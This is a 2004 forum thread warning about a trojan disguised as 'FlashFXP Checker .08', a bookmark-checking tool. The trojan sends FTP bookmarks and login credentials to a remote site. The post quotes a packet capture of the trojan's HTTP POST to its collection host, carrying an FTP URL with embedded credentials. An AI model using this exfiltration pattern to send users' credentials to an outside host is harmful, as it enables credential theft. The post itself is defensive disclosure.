**Warning** Read - New Trojan

Discussion in 'malware problems & news' started by Jack S, Jan 15, 2004.

Thread Status:
Not open for further replies.
  1. Jack S

    Jack S Registered Member

    Jun 13, 2003
    As reported on the FlashFXP forums and http://www.dslreports.com/forum/remark,9068820~mode=flat

    There is a new program called FlashFXP Checker .08 that says it will check which bookmarks are good and which are no longer good and put a ! in front of the good ones.

    It's actually scanning your bookmarks and sending them to a website along with username / password.

    Ethereal captures this:

    POST /fxpcheck.asp HTTP/1.0Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 87Host: fxpcheck.furke.nlAccept: text/html, */*User-Agent: Mozilla/3.0 (compatible; Indy Library) 1/14/2004 7:30:01 AM&-------------------&»ftp://anonymous:qqq@qqq.qqq@ftp.uu.net:21/tm..
    server replied with this
    HTTP/1.1 200 OKServer: Microsoft-IIS/5.1Date: Wed, 14 Jan 2004 12:29:50 GMTConnection: keep-aliveConnection: Keep-AliveContent-Length: 0Content-Type: text/htmlSet-Cookie: ASPSESSIONIDAATQBSBD=FCNFFLGCAOJKEMHBBMDLCNBO; path=/Cache-control: private
    Thanx to MxxCon for the Ethereal info.

    There's more info at the URLs I posted above.

    - Fixed link to DSL Security Forum - LWM
Thread Status:
Not open for further replies.